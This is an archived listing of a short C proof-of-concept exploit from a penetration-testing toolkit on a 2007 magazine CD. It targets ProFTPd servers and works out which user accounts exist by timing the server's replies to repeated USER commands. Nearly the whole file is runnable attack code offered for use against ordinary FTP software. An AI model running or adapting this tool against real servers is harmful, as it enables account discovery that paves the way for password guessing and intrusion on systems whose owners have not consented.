home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / ftp / proftpd / proftpd.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  1KB  |  51 lines

  1. // ProFTPd remote users discovery based on code execution time - POC exploit
  2. // Coded by Leon Juranic // http://www.lss.hr
  3.  
  4. #include <sys/socket.h>
  5. #include <sys/types.h>
  6. #include <stdio.h>
  7. #include <arpa/inet.h>
  8. #include <sys/time.h>
  9.  
  10. #define PORT 21
  11. #define PROBE 8
  12.  
  13. main (int argc, char **argv)
  14. {
  15.   int sock,n,y;
  16.   long dist,stat=0;
  17.   struct sockaddr_in sin;
  18.   char buf[1024], buf2[1024];
  19.   struct timeval tv, tv2;
  20.   struct timezone tz, tz2;
  21.  
  22.   printf ("Proftpd remote users discovery exploit\n"
  23.           " Coded by Leon / LSS Security\n"
  24.           ">-------------------------------------<\n");
  25.  
  26.   if (argc != 3) { printf ("usage: %s ",argv[0]); exit(0); }
  27.  
  28.   sock = socket (AF_INET, SOCK_STREAM, 0);
  29.   sin.sin_family = AF_INET;
  30.   sin.sin_port = htons (PORT);
  31.   sin.sin_addr.s_addr = inet_addr (argv[1]);
  32.   bzero (sin.sin_zero,8);
  33.  
  34.   connect (sock, (struct sockaddr*)&sin, sizeof(struct sockaddr));
  35.  
  36.   printf ("Login time: ");
  37.   n = read (sock,buf2, sizeof(buf2));
  38.   for (y=0;y<PROBE;y++) {
  39.      gettimeofday (&tv,&tz);
  40.      snprintf (buf, sizeof(buf)-1,"USER %s\r\n",argv[2]);
  41.      write (sock, buf, strlen(buf));
  42.      n = read (sock,buf2, sizeof(buf2));
  43.      gettimeofday (&tv2,&tz2);
  44.      dist =tv2.tv_usec - tv.tv_usec;
  45.      stat += dist;
  46.      printf (" %d |",dist);
  47.   }
  48.   printf ("\nAvrg: %d\n",(stat/PROBE));
  49.   close (sock);
  50. }
  51.